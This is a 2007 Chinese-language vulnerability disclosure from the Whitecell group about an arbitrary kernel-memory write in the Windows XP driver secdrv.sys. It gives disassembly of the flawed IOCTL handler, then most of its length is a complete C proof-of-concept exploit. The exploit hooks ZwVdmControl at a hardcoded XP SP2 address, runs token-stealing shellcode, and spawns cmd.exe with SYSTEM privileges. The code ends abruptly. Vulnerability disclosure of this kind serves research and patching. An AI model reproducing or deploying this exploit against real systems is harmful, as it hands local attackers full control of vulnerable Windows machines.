Windows XP 核心驱动 secdrv.sys 本地权限提升漏洞创建时间:2007-10-23 文章属性:原创 文章提交:whitecell (sinister_at_whitecell.org) Windows XP 核心驱动 secdrv.sys 本地权限提升漏洞 Author: Polymorphours Email: Polymorphours@whitecell.org Homepage:http://www.whitecell.org Date: 2007-10-23 这个内核提权的0day发现有段日子了,据说最近被 Symantec 拣到并报给了 MS, 经内部讨论后决定把细节公布出来,本意是和大家共同探讨,一起学习提高。此漏洞 程序仅供学习使用,对滥用此漏洞所造成的危害,Whitecell 组织与本人概不负责。 特此声名。 在分析 Windows 各个驱动程序的时候,无意间发现了一个漏洞,该漏洞可以让 任意用户提升到SYSTEM权限.该漏洞发生在驱动程序 secdrv.sys 的 IRP_MJ_DEVICE_CONTROL 理例程中,因为缺少必要的对必要的参数进行检查,导致可以写任意字节到任意核心内存, 导致D.o.S或者权限提升.下面是出现漏洞的代码分析片断: DISPATCH处理函数 loc_11D60: ; DATA XREF: sub_11AA6+8Bo .text:00011D60 push esi .text:00011D61 mov esi, [esp+0Ch] .text:00011D65 push edi .text:00011D66 xor edi, edi .text:00011D68 mov eax, [esi+60h] .text:00011D6B and dword ptr [esi+18h], 0 .text:00011D6F and dword ptr [esi+1Ch], 0 .text:00011D73 mov al, [eax] .text:00011D75 test al, al .text:00011D77 jz short loc_11D85 .text:00011D77 .text:00011D79 cmp al, 0Eh .text:00011D7B jnz short loc_11D85 .text:00011D7B .text:00011D7D push esi .text:00011D7E call sub_11CD8 ;-> 处理IRP_MJ_DEVICE_CONTROL .text:00011D7E .text:00011D83 mov edi, eax .text:00011D83 .text:00011D85 .text:00011D85 loc_11D85: ; CODE XREF: .text:00011D77j .text:00011D85 ; .text:00011D7Bj .text:00011D85 xor dl, dl .text:00011D87 mov ecx, esi .text:00011D89 call ds:IofCompleteRequest .text:00011D8F mov eax, edi .text:00011D91 pop edi .text:00011D92 pop esi .text:00011D93 retn 8 有问题的函数: .text:00011CD8 sub_11CD8 proc near ; CODE XREF: .text:00011D7Ep .text:00011CD8 .text:00011CD8 arg_0 = dword ptr 8 .text:00011CD8 .text:00011CD8 push ebx .text:00011CD9 mov ebx, [esp+arg_0] .text:00011CDD push ebp .text:00011CDE push esi .text:00011CDF mov eax, [ebx+60h] .text:00011CE2 push edi .text:00011CE3 cmp dword ptr [eax+0Ch], 0CA002813h .text:00011CEA jz short loc_11D07 ; -> 处理 0CA002813H 控制字 .text:00011CEA .text:00011CEC mov eax, dword_12364 .text:00011CF1 xor edi, edi .text:00011CF3 cmp eax, edi .text:00011CF5 jnz short loc_11CFE .text:00011CF5 .text:00011CF7 mov eax, 0C0000010h .text:00011CFC jmp short loc_11D39 .text:00011CFC .text:00011CFE ; --------------------------------------------------------------------------- .text:00011CFE .text:00011CFE loc_11CFE: ; CODE XREF: sub_11CD8+1Dj .text:00011CFE lea ecx, [ebx+18h] .text:00011D01 push ecx .text:00011D02 push ebx .text:00011D03 call eax .text:00011D05 jmp short loc_11D59 .text:00011D05 .text:00011D07 ; --------------------------------------------------------------------------- .text:00011D07 .text:00011D07 loc_11D07: ; CODE XREF: sub_11CD8+12j .text:00011D07 xor edi, edi .text:00011D09 mov [ebx+18h], edi .text:00011D0C mov [ebx+1Ch], edi .text:00011D0F mov ebp, [eax+4] .text:00011D12 mov esi, [eax+10h] .text:00011D15 cmp [eax+8], ebp .text:00011D18 jnz short loc_11D34 .text:00011D18 .text:00011D1A push dword ptr [esi+0Ch] .text:00011D1D lea eax, [esi+10h] .text:00011D20 push eax .text:00011D21 mov eax, dword_12358 .text:00011D26 push eax .text:00011D27 push dword ptr [esi+4] .text:00011D2A push dword ptr [esi] .text:00011D2C call dword ptr [eax+10h] ; -> 该函数中没有检查输入输出 .text:00011D2F cmp eax, 0Ah .text:00011D32 jz short loc_11D41 ; -> 如果函数返回 0Ah 那么进行拷贝 .text:00011D32 .text:00011D34 .text:00011D34 loc_11D34: ; CODE XREF: sub_11CD8+40j .text:00011D34 mov eax, 0C0000001h .text:00011D34 .text:00011D39 .text:00011D39 loc_11D39: ; CODE XREF: sub_11CD8+24j .text:00011D39 mov [ebx+18h], eax .text:00011D3C mov [ebx+1Ch], edi .text:00011D3F jmp short loc_11D59 .text:00011D3F .text:00011D41 ; --------------------------------------------------------------------------- .text:00011D41 .text:00011D41 loc_11D41: ; CODE XREF: sub_11CD8+5Aj .text:00011D41 mov edi, [ebx+3Ch] ; -> 在此之前没有对UserBuffer进行检查,直接复制数据到UserBuffer .text:00011D44 mov ecx, ebp .text:00011D46 mov eax, ecx .text:00011D48 shr ecx, 2 .text:00011D4B rep movsd .text:00011D4D mov ecx, eax .text:00011D4F and ecx, 3 .text:00011D52 xor eax, eax .text:00011D54 rep movsb .text:00011D56 mov [ebx+1Ch], ebp .text:00011D56 .text:00011D59 .text:00011D59 loc_11D59: ; CODE XREF: sub_11CD8+2Dj .text:00011D59 ; sub_11CD8+67j .text:00011D59 pop edi .text:00011D5A pop esi .text:00011D5B pop ebp .text:00011D5C pop ebx .text:00011D5D retn 4 .text:00011D5D .text:00011D5D sub_11CD8 endp 看完漏洞代码的片断后,我们知道这个漏洞其实非常好利用 利用方法1: 和之前的Symtdi.sys的提权漏洞一样,去 HOOK 一个不常用的系统调用,然后 我们自己出发系统调用,来使系统运行我们的特权代码 利用方法2: 由于没有写入的数据限制,我们可以直接在GDT中添加调用门,或者在 HOOK IDT 中的中断处理例程 (要注意多CPU的情况) #include <stdio.h> #include <windows.h> #pragma comment (lib, "ntdll.lib") typedef LONG NTSTATUS; #define STATUS_SUCCESS ((NTSTATUS)0x00000000L) #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) typedef struct _IMAGE_FIXUP_ENTRY { WORD offset:12; WORD type:4; } IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY; typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; typedef enum _SYSTEM_INFORMATION_CLASS { SystemModuleInformation=11, } SYSTEM_INFORMATION_CLASS; typedef struct _SYSTEM_MODULE_INFORMATION { // Information Class 11 ULONG Reserved[2]; PVOID Base; ULONG Size; ULONG Flags; USHORT Index; USHORT Unknown; USHORT LoadCount; USHORT ModuleNameOffset; CHAR ImageName[256]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; NTSTATUS (NTAPI *NtAllocateVirtualMemory)( IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, IN ULONG ZeroBits, IN OUT PULONG AllocationSize, IN ULONG AllocationType, IN ULONG Protect ); VOID SetShellCodeToMemory( PVOID ShellCodeMemory ) { OSVERSIONINFOEX OsVersionInfo; RtlZeroMemory( &OsVersionInfo, sizeof(OsVersionInfo) ); OsVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); GetVersionEx ((OSVERSIONINFO *) &OsVersionInfo); if ( OsVersionInfo.dwMajorVersion != 5 ) { printf( "Not NT5 system\n" ); ExitProcess( 0 ); return; } if ( OsVersionInfo.dwMinorVersion == 1 ) { __asm { call CopyXpShellCode nop nop nop nop nop nop mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode) mov eax,[eax] mov esi,[eax+0x220] mov eax,esi searchXp: mov eax,[eax+0x88] sub eax,0x88 mov edx,[eax+0x84] cmp edx,0x4 // Find System Process jne searchXp mov eax,[eax+0xc8] // 获取system进程的token mov [esi+0xc8],eax // 修改当前进程的token ret 8 CopyXpShellCode: pop esi mov edi, ShellCodeMemory lea ecx, CopyXpShellCode sub ecx, esi cld rep movsb } } } int main(int argc, char* argv[]) { NTSTATUS status; PVOID ZwVdmControl = NULL; DWORD HookAddress = 0x804E3AD8; // test by xp sp2 PVOID ShellCodeMemory = (PVOID)0x200; DWORD MemorySize = 0x1000; HANDLE deviceHandle; DWORD dwReturnSize = 0; SC_HANDLE hscmHandle = NULL; SC_HANDLE hscDriver = NULL; PROCESS_INFORMATION pi; STARTUPINFOA stStartup; PVOID InputBuffer = NULL; printf( "\tWindows Local Privilege Escalation Vulnerability Exploit 0day (POC)\n" ); printf( "Create by Whitecell's Polymorphours@whitecell.org 2007/04/15\n" ); printf( "TEST OS: WINDOWS XP SP2\n" ); printf( "[*] Connect SCM ... " ); hscmHandle = OpenSCManager ( NULL, NULL, GENERIC_READ | SERVICE_START ); if ( NULL == hscmHandle ) { printf( "failed, code: %d\n", GetLastError() ); return 0; } printf( "success!!\n" ); printf( "[*] Open services ... " ); hscDriver = OpenService( hscmHandle, "secdrv", GENERIC_READ | SERVICE_START ); if ( NULL == hscDriver ) { printf( "failed, code: %d\n", GetLastError() ); CloseServiceHandle ( hscmHandle ); return 0; } printf( "success!!\n" ); printf( "[*] Start services ... " ); // // 启动secdrv驱动 // if ( !StartService( hscDriver, 0, NULL ) ) { if ( ERROR_SERVICE_ALREADY_RUNNING != GetLastError() ) { printf( "failed, code: %d\n", GetLastError() ); CloseServiceHandle ( hscDriver ); CloseServiceHandle ( hscmHandle ); return 0; } } printf( "success!!\n" ); CloseServiceHandle ( hscDriver ); CloseServiceHandle ( hscmHandle ); NtAllocateVirtualMemory = (long (__stdcall *)(void *,void ** ,unsigned long,unsigned long *,unsigned long,unsigned long))GetProcAddress( LoadLibrary("ntdll.dll"), "NtAllocateVirtualMemory" ); if ( NtAllocateVirtualMemory == NULL ) { printf( "GetProcAddress failed, code: %d\n" ); return 0; } ZwVdmControl = GetProcAddress( LoadLibrary("ntdll.dll"), "ZwVdmControl" ); printf( "[*] Create execute environment ... " ); status = NtAllocateVirtualMemory( (HANDLE)-1, &ShellCodeMemory, 0, &MemorySize, MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE ); if ( status != STATUS_SUCCESS ) { printf( "failed!\n[-] NtAllocateVirtualMemory failed, status: %08X\n", status ); return 0; } printf( "Ok!\n" ); // // 初始化 ShellCode // memset( ShellCodeMemory, 0x90, MemorySize ); SetShellCodeToMemory( (PVOID)((DWORD)ShellCodeMemory + 0x200) ); deviceHandle = CreateFile("\\\\.\\secdrv", 0, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); if ( INVALID_HANDLE_VALUE == deviceHandle ) { printf( "[-] Open device failed, code: %d\n", GetLastError() ); return 0; } else { printf( "[*] Open device success\n" ); } InputBuffer = LocalAlloc( LPTR, 0x1000 ); *(PDWORD)InputBuffer = 0x1; *(PDWORD)((DWORD)InputBuffer + 0x4) = 0x96; DeviceIoControl( deviceHandle, 0xca002813, InputBuffer, 4, (PVOID)HookAddress, 4, &dwReturnSize, NULL ); CloseHandle( deviceHandle ); printf( "[*] call shellcode ... " ); _asm { xor ecx,ecx push ecx push ecx mov eax, ZwVdmControl call eax } printf( "Done.\n" ); printf( "[*] Create New Process\n" ); GetStartupInfo( &stStartup ); CreateProcess( NULL, "cmd.exe", NULL, NULL, TRUE, NULL, NULL, NULL, &stStartup, &pi ); WSS(Whitecell Security Systems),一个非营利性民间技术组织,致力于各种系统安全技术的研究。坚持传统的hacker精神,追求技术的精纯 。 WSS 主页:http://www.whitecell.org/ WSS 论坛:http://www.whitecell.org/forums/ |